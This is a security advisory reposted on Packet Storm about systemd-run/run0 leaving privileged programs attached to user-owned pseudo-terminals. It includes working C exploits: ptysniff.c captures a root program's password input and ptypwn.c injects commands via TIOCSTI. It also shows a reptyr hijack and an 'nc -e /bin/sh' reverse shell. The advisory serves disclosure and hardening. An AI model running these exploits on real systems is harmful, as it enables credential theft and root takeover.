Lucene search

K
packetstormAdam Gowdiak, security-explorations.comPACKETSTORM:178465
HistoryMay 06, 2024 - 12:00 a.m.

Systemd Insecure PTY Handling

2024-05-0600:00:00
Adam Gowdiak, security-explorations.com
packetstormsecurity.com
110
systemd
pty
insecure handling
vulnerability
privilege escalation
authorization

7.4 High

AI Score

Confidence

Low

`Systemd Insecure PTY Handling Vulnerability  
===========================================  
CVSSv3.BaseScore: 5.8  
CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N  
  
Short Description  
=================  
Systemd-run/run0 allocates user-owned pty's and attaches the slave  
to high privilege programs without changing ownership or locking   
the pty slave.   
  
Description  
===========  
Systemd-run/run0 is working towards a "sudo"-like replacement for   
v256 that is based on the existing policykit and d-bus based "systemd-run"   
transient service execution. The code in "src/run/run.c" on line 1673   
creates a PTY master and slave used for this process, and the slave   
name is passed to unlockpt() on line 1689. This allows any process to   
connect to e.g. "/dev/pts/4" slave interface, this interface is created   
under the local user context executing "systemd-run". The code subsequently   
uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication  
by policykit is approved, the slave end of the pty created will be  
attached to the privileged executed program. As the slave interface  
is not locked to the privilege level of the newly executed process,  
a vulnerability is introduced to the system as any same-user process   
can now interact with the slave end of the root program.   
  
Exploitation   
============  
This issue can be exploited by opening a handle to the slave interface  
and using terminal I/O routines such as read() to access the input of  
the root program. Slave PTY's are not designed for multiple programs to  
access them and this has the unintended effect of redirecting input  
intended for the privileged program back to unprivileged processes, an  
example code "ptysniff.c" is provided here and terminal output that shows   
the issue being used to read input from a systemd-run executed "passwd"   
program, returning the password intended for the root program back to the   
local user.  
  
User Terminal  
=============  
The user executes systemd with "--pty" to allocate a new "root" pty and  
execute "passwd" in the new terminal.  
  
fantastic@fantastic-pc /dev/pts ī‚° systemd-run --pty passwd  
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====  
Authentication is required to manage system services or other units.  
Authenticating as: fantastic  
Password:  
==== AUTHENTICATION COMPLETE ====  
Running as unit: run-u63.service  
Press ^] three times within 1s to disconnect TTY.  
New password:  
Retype new password:  
  
Attacker Terminal  
=================  
The slave end of the systemd-run terminal is still owned by the local user  
context, "/dev/pts/5" in the example above - allowing ptysniff to read the  
password input intended to be sent to "passwd".  
  
fantastic@fantastic-pc ī‚° ļ€•/Work/voldermort ī‚° ls -al /dev/pts/5  
Permissions Size User Date Modified Name  
crw--w---- 136,5 fantastic 4 May 08:51 ļ€– /dev/pts/5  
fantastic@fantastic-pc ī‚° ļ€•/Work/voldermort ī‚° ./ptysniff /dev/pts/5  
Received: p  
Received: a  
Received: s  
Received: s  
Received: w  
Received: o  
Received: r  
Received: d  
Received:  
  
/* ptysniff.c - read from a slave pts used by a higher privileged program */  
#include <fcntl.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <sys/file.h>  
  
#define BUF_SIZE 1024  
  
int main(int argc, char *argv[]) {  
if (argc != 2) {  
fprintf(stderr, "Usage: %s <pts>\n", argv[0]);  
return 1;  
}  
int fd = open(argv[1], O_RDWR | O_NOCTTY);  
if (fd == -1) {  
perror("open");  
return 1;  
}  
char buf[BUF_SIZE];  
ssize_t numRead;  
while (1) {  
if (flock(fd, LOCK_EX) == -1) {  
perror("flock");  
return 1;  
}  
numRead = read(fd, buf, BUF_SIZE - 1);  
if (numRead == -1) {  
perror("read");  
return 1;  
}  
for (int i = 0; i < numRead; i++) {  
printf("Received: %c\n", buf[i]);  
}  
if (flock(fd, LOCK_UN) == -1) {  
perror("flock");  
return 1;  
}  
}  
return 0;  
}  
  
Recommendation  
==============  
It is recommended the systemd-run created pty slave interface  
is chown()'d to the same user as the privileged execution context  
that it operates, this would result in "permission denied" when  
attempting to attach another program to the slave end of the pty.  
  
Additional Information  
======================  
In addition to the vulnerability outlined above, it is possible to  
exploit the problem to execute commands or completely hijack the   
root owned program from the same-user context when other conditions   
are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a  
protection that limits the use of ptrace for debugging purposes.  
With ptrace_classic set to enabled, such as with the following   
command.  
  
"echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope"   
  
It is possible to simply read the master fd for the pty from the  
"systemd-run" application, and re-parent a process to use the   
master end - hijacking the root program which would not be accessible  
to ptrace. This can be done with GDB (set inferior tty) or a tool such   
as "reptyr".   
  
User Terminal  
=============  
fantastic@fantastic-pc ī‚° ļ€•/Work/systemd ī‚° ļ‚› main ļ„‘ ī‚° systemd-run --shell  
Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1  
Press ^] three times within 1s to disconnect TTY.  
[root@fantastic-pc systemd]#   
  
Attacker Terminal  
=================  
fantastic@fantastic-pc ī‚° ļ€•/Work/systemd ī‚° ļ‚› main ļ„‘ ī‚° ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty  
fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run --shell  
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)  
/dev/pts/1  
fantastic@fantastic-pc ī‚° ļ€•/Work/systemd ī‚° ļ‚› main ļ„‘ ī‚° reptyr -T 5541  
[root@fantastic-pc systemd]# id  
uid=0(root) gid=0(root) groups=0(root)  
[root@fantastic-pc systemd]# tty  
/dev/pts/0  
  
Enabling ptrace_classic should not result in "root" permissions to unprivileged   
users, many operating systems support debugging applications and can do so without  
immediately giving away Administrative rights, YAMA is intended to provide this  
protection. However, sessions and terminals started under "SSHD" for instance are   
protected against these attacks through use of "prctl()" to prevent ptrace_attach   
from connecting to the process, preventing them being read even with ptrace_classic.   
This issue can also impact "su" and "sudo" and is a wider problem in Linux when   
ptrace_classic is enabled. Ensure that production systems do not support the use  
of ptrace_classic.  
  
Another path of exploitation can also be undertaken by an attacker when ptrace_classic  
is disabled, however they must be able to re-parent their tty or have control of execution   
of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically  
required only the same user-context to access the tty, however to limit these attacks Linux  
now requires the process calling the ioctl() to be a descendant of the parent process using  
the pty or have the pty set as its controlling terminal. An example is shown here, an attacker   
uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run   
by the parent. The source code for ptypwn.c is provided.  
  
User Terminal  
=============  
fantastic@fantastic-pc ī‚° ļ€• ī‚° tty  
/dev/pts/3  
fantastic@fantastic-pc ī‚° ļ€• ī‚° nc -e /bin/sh localhost 1337 &  
[1] 6926  
ī˜• ī‚° fantastic@fantastic-pc ī‚° ļ€• ī‚° systemd-run --shell  
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====  
Authentication is required to manage system services or other units.  
Authenticating as: fantastic  
Password:  
==== AUTHENTICATION COMPLETE ====  
Running as unit: run-u100.service  
Press ^] three times within 1s to disconnect TTY.  
[root@fantastic-pc fantastic]# id  
uid=0(root) gid=0(root) groups=0(root)  
[root@fantastic-pc fantastic]# id  
uid=0(root) gid=0(root) groups=0(root)  
[root@fantastic-pc fantastic]# id  
uid=0(root) gid=0(root) groups=0(root)  
[root@fantastic-pc fantastic]#  
  
Attacker Terminal  
=================   
fantastic@fantastic-pc ī‚° ļ€•/Work/voldermort ī‚° nc -v -v -l -p 1337  
Listening on any address 1337 (menandmice-dns)  
Connection from 127.0.0.1:49282  
tty;id  
not a tty  
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)  
./ptypwn /dev/pts/3  
./ptypwn /dev/pts/3  
./ptypwn /dev/pts/3  
  
/* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */  
#include <fcntl.h>  
#include <stdio.h>  
#include <string.h>  
#include <sys/ioctl.h>  
  
int main(int argc, char *argv[]) {  
if (argc != 2) {  
fprintf(stderr, "Usage: %s <pts>\n", argv[0]);  
return 1;  
}  
int fd = open(argv[1], O_RDWR);  
if (fd < 0) {  
perror("open");  
return -1;  
}  
char *x = "id\n";  
while (*x != 0) {  
int ret = ioctl(fd, TIOCSTI, x);  
if (ret == -1) {  
perror("ioctl()");  
}  
x++;  
}  
return 0;  
}  
  
Additionally systemd-run supports a "--pipe" operation which will simply connect the privileged  
process to the same-user parent tty directly, this option should be removed entirely as it offers  
no protection against the attacks outlined above.   
  
PolicyKit / sudoer Configuration Discrepancy  
============================================  
It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux   
environments where users are not permitted to execute commands through "sudo" but are permitted  
to execute commands through policykit services such as "systemd-run". This can lead to attackers  
who would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run".  
An example of this configuration error can be seen below, as "systemd-run" proposes to become a   
"sudo" replacement, this issue has been included for completeness and for system administrators to  
review their sudo and policykit configurations to ensure such discrepancies do not exist.   
  
fantastic@fantastic-pc ī‚° ļ€• ī‚° sudo su -  
fantastic is not in the sudoers file.  
ī€‰ ī‚° fantastic@fantastic-pc ī‚° ļ€• ī‚° systemd-run --shell  
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====  
Authentication is required to manage system services or other units.  
Authenticating as: fantastic  
Password:  
==== AUTHENTICATION COMPLETE ====  
Running as unit: run-u107.service  
Press ^] three times within 1s to disconnect TTY.  
[root@fantastic-pc fantastic]# id  
uid=0(root) gid=0(root) groups=0(root)   
  
TLDR; Conclusion  
================  
Systemd-run/run0 should chown() the created slave pty interface to the same user context  
using the pty, this will limit privilege escalation opportunities within the system and  
address the medium risk issue highlighted at the start of this advisory. The additional  
information in this advisory discusses wider Linux pty security handling issues, insecure   
configurations and thier exploitation naunces that can be leveraged for privilege escalation   
attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similar  
threats against Microsoft's recently introduced "sudo" that allowed any local user to obtain  
elevated rights through insecure pipe handlers were quickly addressed. It is also noted that  
despite the insecure system configurations, applications such as "SSHD" protect against some  
of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening  
on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown()  
is recommended, the Linux community should take note that the attacker threatscape has changed  
significantly with a renewed interest in targetting these systems by adversaries - consideration  
should be given to hardening PTY/TTY handling processes and protection against ptrace_classic  
regardless when privileged system operations take place. Attackers are less likely to use  
on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the   
requested permissions at a later date without touching disk from implants or other malicious   
code that has obtained execution in the contexts described above. In relation to security   
boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed to  
persitent. This means that every request to systemd-run for elevation should present the user  
with a password prompt, by exploiting this issue the elevation request behaves as persistent   
for the lifecycle of the elevated program.   
  
-- Hacker Fantastic 04/05/2024  
https://hacker.house  
  
  
`

7.4 High

AI Score

Confidence

Low